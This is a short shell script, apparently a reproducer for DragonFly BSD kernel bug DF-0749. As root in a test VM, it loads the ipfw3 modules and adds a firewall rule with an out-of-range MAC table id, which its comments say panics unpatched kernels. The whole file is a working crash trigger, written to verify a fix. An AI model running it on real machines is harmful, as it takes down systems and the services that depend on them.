#!/bin/sh
# DF-0749 run: invoke the shell trigger on the guest AS ROOT.  Root is
# required (kldload + ipfw3 rule add are PRIV_ROOT).  On the unpatched
# kernel the guest will panic within seconds; on the fixed kernel it
# completes and the guest stays up.
#
# Usage:  ./run.sh [oob_id]
#
# To be run from the host via:  ./dfbsd-qemu/vm.sh run_root "$(cat run.sh)"
# but for repeatability we just shove the whole thing into run_root.
set -u
ID="${1:-65535}"

echo "[+] DF-0749 trigger start (id=$ID)"
sysctl net.filters_default_to_accept=1
kldload ipfw3
kldload ipfw3_basic
kldload ipfw3_layer2
ipfw3 flush
ipfw3 add 1000 allow ip from any to any mac-from table $ID
ping -c 1 -t 1 127.0.0.1 >/dev/null 2>&1 || true
# if we get here, the rule didn't panic us
echo "STILL_ALIVE id=$ID"
